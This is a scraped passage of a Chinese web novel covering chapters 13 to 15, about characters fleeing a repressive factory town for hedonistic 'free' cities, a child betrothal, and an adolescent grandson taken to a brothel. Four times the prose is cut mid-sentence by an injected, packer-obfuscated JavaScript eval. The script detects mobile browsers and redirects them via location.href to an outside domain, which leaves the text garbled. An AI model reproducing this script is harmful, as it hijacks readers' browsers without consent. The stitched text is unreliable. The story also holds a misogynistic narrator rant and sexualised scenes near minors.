「一个精神崩坏、思想压抑的地方。我就是逃命来到这里的。」 「你不喜欢那里?」 「处处充满压抑和桎梏,语言和文字经过重重审核才被允许传播,没有自由的艺术和音乐,甚至在平民家里找不出一把像样的乐器。一切民间的科技探索也被严令禁止。尽管找不到一丝佐证,但我灵魂深处的原始直觉告诉我,人类文明本不是如此狭隘的,自记事起,野性的自由冲动,便时刻躁动着我的心。于是当我意识到自己已经具备奔走千里的能力时,便刻不容缓地动身,并凭直觉的指引来到这里。且遇见了你。」说着,龙六轻抚起姑娘的脸庞。「我可以知道你的名字吗?」 姑娘脸红着背过身去。「我叫芍药。」 「真好听。」 龙六随芍药回了家。这是个拥有三十几名成员的大家庭,由分别从不同厂区逃来的陌生男女以及他们的孩子组成。橡树木搭建的二层房子里,摆满了各种用木头和麻绳自制的生活用具、新奇乐器和艺术装饰品:椰子壳的碗、榕树条的窗帘、竹筒杯子、黄杨枝筷子。 为了欢迎龙六,众人热情地表演起节目来。两根竹竿便是打击乐器,椰子晒干钻孔之后,便可以吹奏美妙的音符,手指摩挲着成堆的树叶,窸窸窣窣犹如置身秋天的树林,沙子装进竹筒里,左右摇晃,海浪的声音徐徐而出,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422486|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛穿越到海边漫步。人们跟随灵魂里音乐之神的天然引导,随意地发出或悠扬、或低沉、或成熟、或童真的歌声,没有逻辑严谨的语言,没有刻意排练的配合,一切发乎自然,却直击人心。 龙六在摇摆中,不自觉加入进去,两手拍打在脸颊上,便发出水滴的清脆声音。众人惊叹于他的天赋,并当即决定将今夜作为他和芍药的婚礼。 女人们采集门外的鲜花编织成美丽的花环,簇拥着为害羞的芍药戴上,男人们则接来新酿的果酒,倒进龙六的竹筒杯子,开始推杯换盏。热闹喜庆的氛围,一直持续到天亮,众人才醉意沉沉地睡去。 就这样,少年龙六迎娶了他的第一任爱人。 新婚第九天,龙六在傍晚时出门散步,在这个陌生又新鲜的环境里,他无法向人诉说心中的苦闷。他是根据灵魂指引来到的乌托邦城,这个释义为爱、和平、自由的地方,是否存在道德谴责他一无所知,而他的苦闷便来自于此。他觉察到自己已经对芍药失去爱情,的确这非常残酷无情,但他无比诚实。即便是在安化厂那个情色自由的鬼地方,如此迅速地背弃妻子,也是要被钉上审判的十字架的。龙六尚不确认乌托邦城对此事的态度。 芍药是个敏感的姑娘,她敏锐地感受到最后一次里龙六的激情寡淡。于是她在晚饭后也走出了家门。 几乎如出一辙的,她在城门处将一名新入城的少年撞倒在地。她趴在他少年起伏的胸膛上,扑闪着大眼睛打量端详,好奇地发问:「你叫什么名字,从哪里来?」 而龙六则被一位年长的风韵女子接回家中。女子名唤蔷薇,已是五个孩子的母亲。 龙六在她的皮肤里嗅到了熟悉的牛奶香气。他忘却了为数不多的道德底线,沉沦在与蔷薇的巫山云海里。 芍药很快嫁给了她的第四十四任丈夫。龙六也迎娶了他的第二任妻子。 龙六从一个乳臭未干的少年,一夜之间成为拥有五个孩子家庭的男主人。而在乌托邦城,这种身份的巨大转变并没有实际意义。在这里,人们自然而生、自然而活,没有繁重的劳作,依靠野生的食物生存。乌托邦城外数百平方公里的番薯地和芒果树,足够这里的子民们吃喝不愁。人们唯一需要做的就是去采摘它们。除此之外,他们只管享乐。 这正是龙六所心心念念向往着的。没有社会时钟的逼迫,没有名利的攀比,无需为自己的懒惰和碌碌无为感到可耻,也不必扭曲自己的灵魂去迎合所谓价值标准。摒弃所有文明社会所附加在人类身上的枷锁,教育、礼节、道德、体面。回归原始状态,淳朴、和睦、自然、简单。 抵达乌托邦后的第十天,龙六迎来了他原始生活的第一次危机。暴雨带来寒潮,不具备任何科技取暖设备的龙六,很快招架不住地病倒了。他与龙五自出生起便体弱易病,是社区诊所的常客。也因为身体早已习惯了依靠外来药物抵抗病菌,所以此刻的他,在面对相同的流感时,远不及其他乌托邦居民那般顽强健康。他自身几乎毫不具备对抗疾病的能力。 高烧昏迷期间,他不断回想起离家时来自爷爷的叮嘱:「不要淋雨。」他懊悔自己有些得意忘形了,至少在健康问题上,应该谨慎才对。 万幸的是,蔷薇在独立孕育五个孩子的过程中,积累了少许医疗的经验。她在暴雨中背起竹篓,离开乌托邦城。穿过茂密的芒果树林,跋涉过泥泞的番薯地,终于在一处山坳找到了板蓝根和蒲地蓝的草药。她趿拉着藤编的拖鞋,将裤腿挽到膝盖,冒雨原路返回。草药熬煮后喂进龙六的嘴里,随着几天后暴雨过境,天色复晴,龙六也终于恢复健康。 而痊愈后的龙六决定动身离开。他是个吃不得半点辛苦的多情种。 13. 山茶 随着季节更替,龙五和山茶即将随老蜂农动迁至温暖地带。山茶被猎户的小儿子上门提亲,这位目光炯炯的少年非常勤劳,老蜂农很是高兴。 龙五却站起来反对:「山茶小姐才十一岁,完全不足合法结婚年龄,他们此刻订亲是违法的。」 老蜂农面露不悦:「去他奶奶的法律,老头子我寒冬腊月饿肚子的时候,也不见法律来管管,如今倒想来干涉我嫁闺女,荒唐!滚蛋!」 山茶在一旁急得要掉下眼泪来,她从未忤逆过父亲,从前不敢,现在乃至将来都不敢。 龙五还想奋力一搏:「如果山茶小姐定要嫁人,请您把她许配给我吧。」 此话一出,语惊四座。 老蜂农不屑道:「你一个自顾不暇、既无房产也没有一技之长的流浪汉,竟敢厚颜无耻地说出这种话。我女儿虽不是什么富家小姐,但也断然不会嫁与你去过食不果腹的日子。」 龙五被怼得哑口无言。 老蜂农接过聘礼,山茶被接进了猎户小儿子的木头房子。 「山茶小姐,我从未像此刻般感到自己的可笑,我空口一张地诉说爱你,却毫无半点物质的支撑。而你的沉默和顺从,更是令我心灰意冷,所以从前神魂颠倒的缠绵爱意都是幻觉和谎言,是吗?我也不过是你短暂游戏的一个过客,这一次我将彻底哭出来,毫不压抑,我再不掩饰如同孩童般的脆弱,只为能换取你的一丝丝怜悯之心,请尽快用温情的语言疗愈我吧,恳请你别再继续残忍。」 「龙五先生。我再次确认了你钻石般闪耀的真心,可一切都太迟。正如父亲所说,我们必将会被生活的贫穷所折磨,并且击溃。我无法面对与你走向那千万夫妻都已奔赴的死地。当我们为了空荡的米缸而陷入争吵,彼此指责、抱怨,以从未使用过的粗俗语言中伤对方。那实在太可怕,你我不该是那魔鬼般的模样。你的哭泣令我心如刀割,此刻我多想轻轻抚摸你的头发,给你安慰,如果这些文字可以缓解你的痛苦,我愿意写到天荒地老。」 「山茶小姐,你总是活在虚构的假设里,没准儿我们会是区别于旁人的例外呢。别人的刀山火海的生活是别人的,我们必不会沦落成那样。我可以立誓保证,此生绝不会指责你、中伤你,更不会有一句抱怨。」 「龙五先生,就在前一天的信里,你还指责我的沉默和顺从。你我之间的爱,毋庸置疑日月可鉴。人心是复杂且善变的,我爱你,可是我无法全然相信你,我也不相信这样的我是值得被爱的,这是我的缺陷,而你是无辜的受害者。请接受我诚挚的道歉。」 「亲爱的山茶小姐,我无可救药地想向你剖析我自己。哪怕你并不要听,我却非说出来不可。我一直无法坦然面对自己是一个缺乏主体性和独立性的人,试图寻找一个情感寄托来填补自己的精神匮乏,直到遇到了你。你的回避令我痛苦,令我患得患失,我竭尽所能地想要抓紧你,却不知这种近乎于控制的爱意却将你越推越远。请你相信我本无意如此。在与你相识后的每一个夜晚,我在富足的幸福当中酣睡过去,又在失去你的噩梦中醒来。我想一定是我太过在乎言语修辞,而显得巧言令色,以至于让你生出了对我的怀疑。这是我第一次爱人,也将是我的最后一次。我愿意为你而学习。请你务必不要放弃我,也不要放弃你。从今以后我必将为我的言辞做出减法,不再让它显得那么多情和甜蜜。我绝不是一个情意善变的浪荡子,请给我时间来向你证明。」 「龙五先生。此刻的真情无需证明,而将来无法证明。时间之下爱情和万物瞬息万变。自幼年时亲眼目睹母亲多次出轨,并离我和父亲而去,我便再不相信永恒二字,不止于你,也对于我自己。天知道我有多害怕自己将来也变成母亲那样滥情且狠心的女人。母爱的缺失令我胆小懦弱,而父爱的强势令我习惯顺从,我与父亲相依为命,但我既不爱他也不信任他,可我又总是害怕他背弃我,怕他投来憎恶的眼神。我这样错综复杂的心情不知你能否体验。全身心投入爱情令我痛苦不安、夜不能寐、煎熬无法呼吸,爱情令我停止思考,甚至失去独立生活的力量,我也搞不清楚这是怎样一回事,但我知道这样不行。完全将自己托付于爱情身上,这是件极危险的事情,我不能让自己徘徊在危险边缘。」 「山茶小姐,我坦白无法与你彻底的感同身受,我的父亲曾是一个情场浪荡的美少年,我的母亲是他的第五个孕育有孩子的爱人。但我自懂事起就从没见过两人,父亲在我出生的那年深冬自杀而亡,而母亲自生下我之后,便举家迁走,我从小与爷爷奶奶和八个兄弟共同长大。人心瞬息万变,爱情更是犹如烟花,这些我都感受至深。可我偏想要将这烟花变为钻石。我是如此执拗,如此坚决。在看完你刚刚向我倾诉的书信之后,我更是坚如磐石。你的怀疑、懦弱、回避,在我的精诚之心面前,必将动摇。请你不要再试图寻找任何理由摆脱我,越是这样,我越是知道你同样真心爱我。你说将来不可证,那我便证明到没有将来的那一天,在终日来临之前,你可以尽管去生活,而我将孤身一人,为爱正名。这绝不是在试图道德绑架你,你可以尽管去生活,这是千真万确的话,只要你保证自己是幸福的。无论如何,请你一定要幸福。」 山茶搂着信,坐在猎户小儿子的木头房里,泣不成声。而龙五则开始更加顽强地做工,为了证实爱和誓言。偶尔的无意相遇,龙五的眼神也极尽克制,他礼貌且有分寸地问候,确认山茶是否快乐顺遂,得到满意答复后,便道别离开。每每望着龙五转身的背影,山茶总是心头翻涌起阵阵委屈和忧愁,但当丈夫的声音传来,她又仿佛无事发生。 龙六赶到欢愉城的时候,夜宴的钟声已经敲响。 城门豁然大开,霓灯通明,音乐声震耳欲聋,毫不遮掩。 龙六迈步走进,看到巨大的喷泉广场前,堆满了如小山般的啤酒和食物,男女们不分年龄聚集在喷泉之下,随着躁动的鼓点,扭动着玫红色的身体。酒精与音乐的烘托,皮肤不经意的摩擦,眼神间的暧昧流转,本就不曾克制的情感,愈发强烈。男人们毫不遮掩地处寻求旁人帮自己熄灭心中的火焰,女人们也不存在羞耻,她们尽情享受着炽热的眼神。男人和女人,男人和男人,女人和男人,女人和女人,在这里,无所谓爱与道德。 很快,人群中面颊绯红的杜鹃,望见了背着行囊的龙六,他那俊朗的面庞瞬间令她爱意丛生。她温柔地将正亲吻自己的男人推开,穿过喷泉和啤酒,来到龙六近旁。 龙六望着赤裸的女孩,他几乎不敢直视对方。即使是在民风开放的安化厂,这也是不敢想象的画面。杜鹃一定会遭到声势浩大的舆论谴责,并在不久后,因为实在难以忍受不堪入耳的言语,而被人们发现死在冰冷的浴缸里。而安化殡仪馆甚至拒绝为她火化。 杜鹃为龙六卸下行囊和衣裳。她眉眼弯弯地笑:「瞧,我们俩现在一样自由了。」 龙六对这种自由虽心存怀疑,但他不想拒绝杜鹃。对男人而言,精神的共鸣不过是逢场作戏,他们的思想地基就决定了,绝不可能与女性产生共鸣,除非他是性别认同障碍者。思想共振、灵魂伴侣,都是通往情欲的工具和路径,毕竟这可比真金白银要划算得多。 男人的基因里就是唯物主义、现实主义、利己主义、理性主义。而女人却完全相反。所以说,活该女人吃苦受骗。在同是类人猿时期,雄性和雌性的思维差距并不很大。猿类落地成人,成千上万年的基因演变和优化,男人晋升上位者,女人却沦为依附而生的物品。作为一个无能的男人,我真搞不懂有些攀附男人的女人在沾沾自喜些什么。靠卖弄风情过活,换做是我,早羞愧得一头撞死重新投胎算了。 太阳照常升起,晨光熹微。 广场上狼藉一片,酒瓶和食物残渣混合着横七竖八酣睡的男女们,散落各处。自天空俯瞰,仿佛无数具即将腐烂的尸体,正在被晾晒。昨夜自由的口号,在这一刻变得可笑。 所有禁地的城池,政府都知道。换言之,政府选择了无视和放任。 无视和放任并非是治理不了,而是像乌托邦城和欢愉城此类,全然没有治理的必要。即使口号喊得再响亮,也不过是一群放任欲望发烂的动物。动物,是推翻不了人类的。 就像陈传富说的:「若真要严管,警力、财力、监狱、舆论控制,哪一样不是费时费钱的。几粒春药就能解决的两脚动物,何必大费周章地管制呢。」 底层人以为的自由,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老妇人挑唆道:「好孩子,那女的不是你妈妈,但我儿子可是你亲爸爸,而且她克死了你爸爸,你要恨她,知道吗?可不能管她叫妈。」 「是非不分、颠倒事实,所以我最讨厌你们这些老东西了,我再说一遍,如果想让我认你们,从今天开始,就不许再讲一句我母亲的不是,且要好好待她,不然我立刻就走。」我抬眼望向送我前来的中间人,白了他一眼,选得这是什么封建糟粕家庭,还不如去猪圈。 他两手一摊,表情无奈又透露出看热闹的笑。 两个老东西见状,为留住我这个光宗耀祖的宝贝大孙子,赶紧服软。「好好,爷爷奶奶不说了,再不说了。」 我也只好心不甘情不愿地叫了一声:「爷爷,奶奶。」 有了我,母亲的处境总算好过一些。后来我问她:「为什么不把父亲当年施暴的事情说出来呢,难不成你是真的爱他?」 她很惊讶:「你怎么知道?」 我撒谎:「我亲生母亲跟我讲的,她也是这样生下的我。」 热腾腾的燃气灶旁,母亲和我并排站着,她望着砂锅里炖的鸡汤,我则耐心等着答案。我并不关心她,而只是想弄清楚一些特殊人群的心理曲线。这似乎显得我冷血,但将来随着年岁的不断延长,你,在捧着这本书的读者,也会经历和明白这种冷血的。」 冷血,是一种懦弱者的自我保护机制,冷静、沉寂、不轻易起波澜,也意味着不容易被搅弄情绪、不易被操纵和控制,不会被利用和伤害。没有激烈的悲喜,像一辆永远稳定驾驶的汽车,几乎不会失控,所以最大限度安全。 「因为我别无他法,如果我不跟随他,你的妹妹就会成为野孩子,我也会沦为破鞋,到时人人都可能闯进我的房间,甚至是你妹妹的房间。」 所以她忍耐施暴者一家的恶,仅仅是为了自保。因为在她的认知和假设里,在这个家以外,还潜在着更庞大、无解的恶。 而可怖的是,一个人的认知和假设,往往是基于过往经历和经验决定的。 「他是第一个施暴者吗?」 母亲手里的汤匙掉落在地,雪白的陶瓷摔成大大小小的碎片。 「不是。」 「但他是第一个外地人。」 对她而言,跟他走,是她唯一逃离的机会。 14. 龙九 变回人类的吴侑珍,参加完王小小的葬礼后,便和李老师动身去了寒冷的北方。血缘的感应告诉他们,海婴在那里生活。他们后来再未孕育其他孩子,而将全部的爱都投入给可爱的海婴。许多年后,李老师曾托人捎回来一张照片,是三口之家站在海水里的合影。他们皮肤黝黑,眼睛发亮,浑身散发出被爱的幸福。 而依据神意救人的我,因失去部分关键血肉而瞬间衰老。那天古秀梅睡醒后,猛然看到一夜满头白发的我,害怕得扑在我怀里哭。她并不知道我剜肉救人,只以为我是得了什么骇人的绝症。我向她解释自己家族素来有白头的遗传,想让她宽心,她却早已哭得停不下来。于是我像哄九个孙儿那般,给她唱起童谣: 「 红娃娃,绿娃娃 手里抱着个胖倭瓜。 倭瓜高,倭瓜长。 种到地里开花花。 花花开了给谁戴。 送给我的好妈妈」 」 古秀梅听着我五音不全的滥调,禁不住泪中带笑起来。 光阴十四年,孙子们陆续离开,膝下只有不能走路的小九龙去病陪伴,而我也在漫长而缓慢的血肉复生后,重新恢复了一点年轻,雪白的头发褪回灰白。 青春期到来的小九,几乎同他的父亲一样,患上了不愿和我说话的心病。 他终日坐在房间里的轮椅上,望着窗外的安化厂烟囱,默不作声。早晨、中午、晚上,按时吃饭睡觉洗澡,既不关心人类,也不关心我,满眼只有那根乌烟瘴气的大烟囱。 大烟囱不计后果地卖力工作,自七十年前它被连夜拔地建起,至今废寝忘食地吞吐了两万五千五百六十七个日夜,他就像去世的老庄,如同一头老牛般哼哧哼哧地埋头苦干,没有情绪,不计回报。 而就是这样一根任劳任怨的老烟囱,竟被两度控告上社区法庭,原因是它吐出的烟雾太多,超过了空气净化厂的荷载处理量,导致家家户户都在吸二手烟。 第一次被热心市民告上法庭,申请拆除时,还是同样作为环保局局长的陶采菊站出来提出解决方案。下订单让邻市的玩具厂制作一个巨大的气球,来不及处理的烟雾可以暂时存储在气球里,如此便不会影响市民生活。市民们齐声拍手叫好,纷纷感叹这个年轻女局长的智慧和手段。 短短两年后,气球已经撑得有近三十层楼高,比安化厂周边几省最高的大厦还要高五层。在安化厂周围,只要随便找一块视野相对较好的位置,抬头向西望去,便能看到那个直径百米的大红气球正随风轻轻摆动。 它是那么安静,同时暗藏危险。 不知是从何而起的消息,讲说气球里的物质已经发酵成为最致命的毒气,一旦爆炸抑或泄露,安化厂乃至整个城市将无人生还。 一时间,一种名为惶恐的情绪病在厂区迅速蔓延开来。渴望求生的人们纷纷想尽办法自救。有的开始拼命囤积粮食,有的则开始学习制造玻璃罩子,试图将自己与世隔绝起来;有关系者已经着手申请调离本市,逃往其他地方。 而那个硕大的红气球,憨态可掬地矗立在西方,始终安静地眺望着这群惜命的人类。 这种名为惶恐的情绪病丝毫没有影响到小九,他拥有超越自身年龄的泰然自若。最初我以为这是一件好事情。可随着门外世界的逐渐疯狂,我意识到这种过分的镇定,其实反而意味着他的精神世界正在崩塌。这种情绪病也影响不到古秀梅,因为她有如同钢铁般的理想意志。自然也影响不到我,显而易见,我素来没心没肺。 我已经失去了儿子,不想再失去小九。望着人们如同老鼠般盲目自救的荒唐模样,我顿觉天神的禁令是个笑话。于是我擅自违背了不可预言的规则。 为挽救小九那岌岌可危的精神世界,我端着一盆奶油蛋糕来到他的房间。他仍旧像座雕塑坐在轮椅,眼望着那根努力工作的老烟囱。我告诉他:「小九,不要因为无法走路而失去信心,五年后将会有一种叫做智慧网络的东西传入安化厂,并迅速风靡。在智慧网络里你无需走出家门便可看到整个世界,并且认识所有人。你可以使用任何名字、使用任何身份、将自己塑造成任何你想要的样子。法律和道德在里面也失去约束。一切现实中不被允许的,在那里都自由发生。你甚至可以合法的杀人,只是不能用刀,而除了刀你有一万种方式。当然我并不是在鼓励你杀人,我只是想告诉你,在智慧网络你可以拥有绝对的自由,而不在被约束于这小小的轮椅和房间。你可能会遇到一个姑娘,与她聊天、相爱,在智网的世界里举行婚礼、拥有孩子。在里面的生活不需要庞大的金钱支持,一切只要有充分的幻想。」 边说着,我试图从小九的脸上找到一丝波动的痕迹。可他仍旧什么反应都没有。我局促地搓搓膝盖,试图再找到智网的其他好处。而在我挠头思考时,小九却忽然转动轮椅,用极为勉强的笑容对我说道:「老林,我想休息。」 说着他便转身依靠强大的手臂力量,将自己挪到了那张他父亲曾用以结束自己生命的小床上。 看着他和衣而睡,我默默退出房间。 站在门外,我越想越觉得不能放弃。曾经我就是因为懦弱而失去了儿子,我的另外八个孙子也已经离家远走。于我而言,小九甚至重于生命。于是我转而进门,颇为粗暴地将被子掀开,将小九拦腰抱到轮椅上。 「老林,你要干什么?」 我没给他回答,而是抓了顶帽子扣在自己头上,推着轮椅在街道狂奔起来。 「老林,你要去哪儿?」 我感到自己身体的确切老去,我气喘吁吁跑得浑身冒汗。我已经没有多余的一丝力气去回答小九的问题。我只能专注奔跑。很快我们来到了红巷子,我推他走到尽头那扇门。 铁皮门被缓缓打开,一个熟悉的、衰败的女人从屋里现身。她仍旧化着浓艳的妆容,原本圆润的脸庞如今因为干瘪而堆满皱纹,像鬼怪电影里的汤婆婆。她宽松的棉质长裙下,已经枯竭的□□若隐若现,耷拉着向两边散开。 小九几乎是出于本能地回身握住了我的手。 「老林,这是什么地方?」 我被他突如其来的依赖而摄住灵魂。我感到前所未有的幸福,甚至洋洋得意的几乎笑出声来。 面前的女人正是年迈的春樱,她已经到了领退休金的年纪,不复从前般年轻活力,却仍有俏皮的风韵。她一眼便看穿了小九的惊恐,于是俯身笑眯眯地说:「放心,小娃娃。我只是来给儿媳送饭,不吃你。」 而小九从她硕大的领口里,窥见了那两条晃荡的□□,如同干瘪的腊肉。他慌忙移开视线。 春樱抬头看我:「小林,改天记得来家里喝茶啊。」 我认真点头:「好的,春樱老师。」 随即我便将小九推进了铁皮屋内,并识趣地带上了门。我转身便朝独眼张家走去。 而在铁皮屋内,小九局促不安地打量着这个挂满粉红灯泡的狭小空间,空气中弥漫着淡淡的玫瑰香气,他双手握拳,不敢松懈,时刻处于警备状态。几分钟后,他右后侧的磨砂玻璃门打开,里面走出一个仅裹了张浴巾的古铜色的女人。 她将轮椅小九上下打量了一番,抛来意义不明的笑,随即便挪动匀称的小腿,移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小九泄了愤才松开。他抬眼望着梨花带雨的玫瑰,转而又像个孩子般去舔她掉落的眼泪。 心软的玫瑰停止哭泣,温柔抚摸着他毛茸茸的短发。 小九则趁机调皮地又佯装咬了玫瑰一口,只是这次没用力道,他抬眼偷瞄玫瑰。玫瑰恰好也低头看着这个眉眼锋利、行为乖戾的少年,四目相对的瞬间,两人不约而同地痴笑起来。此刻的两人不似老师和学生,更像是母亲和孩子。 后来小九时常偷偷去找玫瑰。我总悄声给他的金库补充零钱,他心思全在别处,毫无察觉。古秀梅知晓后,并不完全认同我的做法,她觉得有饭就是因为外貌和纵欲而丢掉的性命,她很怕会重蹈覆辙。 我劝慰她,玫瑰同那些单纯且疯狂的女学生们不一样,况且小九腿不能行,后半生总归是个难题,如果真有姑娘爱上他,同他结婚成家,也未尝不是件好事。 古秀梅听罢,思索片刻,也点点头。「但愿能如你所说,是好事吧。」 「放心,一定会的。」我剥了两瓣橘子,送进古秀梅嘴里。 待嚼完,古秀梅开口道:「听说了吗?老庄的儿子调到安化厂来了,下个月到任。」 「老庄媳妇知道吗?」 「不晓得,就算不知道,估计也快了,上面今天都通知下来了。」 「到时候小庄是住家里还是住厂子安排?」 「具体的不清楚,我现在也不挂靠厂里了,也是听说。」 「改天咱俩去老庄媳妇那儿坐坐,陪她聊聊,这小庄十来年不回家,怕不只是工作调动这么简单。」 15. 阿梅 吾儿有饭过世三年后,庄念秋离开安化厂,回了空气湿润的羊城。自那至今,老庄媳妇独自守着被煤炉熏黑的小房子,夜夜开着灯,直到天明。每每我和古秀梅清晨散步经过她家楼下时,总能看到那从窗户里透出的橘红色光芒。 我俩经过老庄媳妇的房子、经过许绣蓝的房子、经过刘罐头的房子、经过独眼张的房子、经过吕文生的房子,最远时会走到土地庙,顺便找黑熊蹭顿早饭。我们经过许多人的房子,并借由房子追忆起他们彼此交错的人生,进一步延伸至历史、政治、幸福与民众的未来。 从庞大的宇宙里俯瞰地球,不断地放大再放大,越过浩瀚的海洋,来到陆地,再放大,打开东半球赤道以上,东经 112°42′北纬 34°58′,持续放大后,终于找到安化厂,正西方民安街道,会看到一双小小的、鬓角斑白的人正慢悠悠地踩在晨光里。 我俩总是边走边聊些话题。 自开书以来,我一直在强调自己对古秀梅的爱,这其实是不公正的,因为古秀梅看后觉得,读者会误会她并不爱我。对此她表现得很生气。 「可是这样平庸无能的我,站在你旁边本就是极其不相称的,如果我写你深爱我,读者才更觉得你傻。」 「老林,你只管陈述事实,读者怎么想,那并不妨碍我们生活,不是吗?我们在不同的时间。」 「可是,古秀梅,我不希望任何人误会你,或许你能接受,但我接受不了。」 「如果我说,我想要接受呢,我想要告诉世界我爱你。你愿意为我而写吗?」 我犹豫了,但我没法拒绝古秀梅。「我愿意。」 「那开始吧,我来说你来写。」 「老林总是一个过于谦虚的人,记得我初次见他是在厂思想办公室,他拿着自己的思想档案和黑皮书,像个小孩似的,低头出现在门口,我办公室的门虚掩着,他很小声地敲门,然后推开窄窄一道缝,询问我可否进来。因此我对他第一印象很是不好,我严肃地点点头,他轻手轻脚地进来,递过档案。我问他,因为什么言论被清算的?他支支吾吾半天,直到我不耐烦地拍桌子,他才开口说是批判政府思想不自由、民众愚昧麻木还沾沾自喜,把政府比作遛狗人,把民众比作摇尾巴的狗。我接手过的思想犯有很多,大多都是娱乐思想犯,比如玩地下摇滚、写科幻小说、搞抽象派绘画等等,政治思想犯,他是第一个。在我的身边,几乎人人都认同政府的伟大领导,这些认同者里有的是被遛的狗、有的是遛狗的人。人人都知道做□□最危险,包括我自己,我并不全然认同当前政府的所行所为,但我没有勇气做思想犯,财产没收、事业剥夺、下放到最酷最累的岗位,终生在被监控中度过。而眼前的他,虽然看起来唯唯诺诺的模样,却没有任何恐惧和惊慌,我甚至开始觉得他的怯懦都是装的。后来发现,果然是装的。 「于是我便经常喊他来办公室对他进行教育,实则是听他讲述思想观念。他说如今的选举制就是形式主义的过场,许多人一辈子都没见过选票长什么样子,所谓民众代表的议会,也从没见过一个普通人的身影,名誉、职位、权力、地位,看似民主,实则全都成了世袭制和裙带制。盘根错节的姓氏和家族关系,像一条条蚂蟥,盘踞在这个硕大政府机器的皮肤上。智能科技战争之后,政府倒行逆施,放弃重建文明,而是选择一叶障目。且看吧,不用多久,这些蚂蟥们就会将它的血榨干、吸尽。」 「他如同一位博学的老师,从远古文明的制度演变,到中世纪的文明快速发展,近代的科技大爆炸,到如今后现代的人文危机。他谈吐幽默、学问深刻。到后来,我坦诚地向他分享了我全民选举的理想主张,他也非常直白地指出,在当前政府下,你的主张无异于天方夜谭。我非常清楚,但我也阐明,时局如此,别无选择。如果我主张推翻政府、人人平等,那下场就是□□,我的策略只能是拥护政府,但争取全民选举,一旦全民选举通过,人民实现联合自治,距离推翻政府也不会远。」 「他又说,但这群无知的民众,是不会跟随和共情你的抱负的,实际上,他们才是你政治道路上真正的绊脚石。这就好比你去到一个懒汉家里,送给他锄头、种子、肥料,他非但不会感谢你,反而会咒骂你为什么不像之前的扶贫人员一样给他碗米饭。并不是人人都需要权力和自由,对绝大多数人而言,没有任何想法地活着、并且死去,才是他们最舒服的。哪怕你告诉他,这袋种子可以长出几百斤稻米,稻米可以换肉换酒。」 「他总是能给我带来新的思想冲击。我热衷于与他对话。我反问他,如果我先让懒汉尝一点甜头呢,我给他送酒送肉,然后某天突然不送了,而给他锄头、种子、肥料。他极其冷静地说,我敢打赌,那把锄头最终不会挥向土地,而会砸向你。」 「我继续反问,你总是把人性想得如此黑暗吗?他答,不黑暗怎么会叫人性呢。一切美好的品格,诸如善良、诚实、谦虚、淳朴、单纯、踏实、勤劳、吃苦等等,都是掌权者给底层人烙的思想钢印。有了这枚钢印,无需强权的压制,底层人自己就会用一条道德的标尺约束自己,自觉自愿地遵守。甚至比法律还要管用。」 「这难道不矛盾吗?懒汉的思想钢印是什么呢?他为什么不受勤劳的约束?他继续说,法律的重刑之下依然有人铤而走险,何况毫无惩戒的区区一枚思想钢印。所以从这个角度来讲,懒汉才是先锋的反叛者,他挣脱了道德的约束,也没有逾越法律的红线,他在道德之外、法律之内。所以如果从个人角度,我并不会做那个给他酒肉的人,因为那是在引导他犯罪。」 「在他之前,我从未想过,追求全民选举权,或许是对某类人的伤害。但随即他又说,你知道安化厂有多少懒汉吗?没有。那这座城市呢?目前在登记的身体健全、每月不工作领政府救济的,大概八十人左右。城市一共多少人呢?五十八万六千。所以很经典的电车难题出现了,你要怎么选?」 「我反驳道,这不是电车难题,你在偷换概念,我的抱负不是给懒汉酒肉,而是全民选举,全民选举和福利救济并不冲突,想要酒肉的人依然可以去种稻米,而不想要的就继续吃米饭。怎么选那是他们的事,但我必须要为他们争取选择的权利。」 我看着他,他望着我。他笑了,说:「古秀梅,你是我第一个佩服的女子,你愿意和我结婚吗?」我当即便拒绝了他。 古秀梅像个小孩般坏笑道:「好了就写这些吧。」 「以你拒绝我结尾?」 「留一些悬念,下次继续。」 话音落,我敲响土地庙的门。 黑熊仍旧捧着大部头的书籍前来,他的镜片又加厚了一些。 古秀梅盯着他那冻得发红的手指,关切地询问:「庙里夜里温度如何?要不要请人添套取暖设备?」 黑熊儒雅地笑笑:「不妨事,煤炉足够了。你俩今天来巧,粥刚冒气。」 我爽朗道:「我俩可是算好了来的。」 而下一秒,望着黑熊孤身跋涉的影子,我瞬间情感凝固。 他今年已近不惑,曾经宽厚的背,如今肉眼可见地不复挺拔。而距离他所追求的废除家暴的司法理想的实现,还有整整三十年。一件绝对正确的、合乎情理的事件的推进,竟是如此举步维艰。作为站在人类文明时间轴之外的记录者,不知为何,我在这沧海一粟的寒冷清晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坐在我近旁的姜飞鸿感叹道:「怪不得别人能飞黄腾达呢,啧啧啧。」 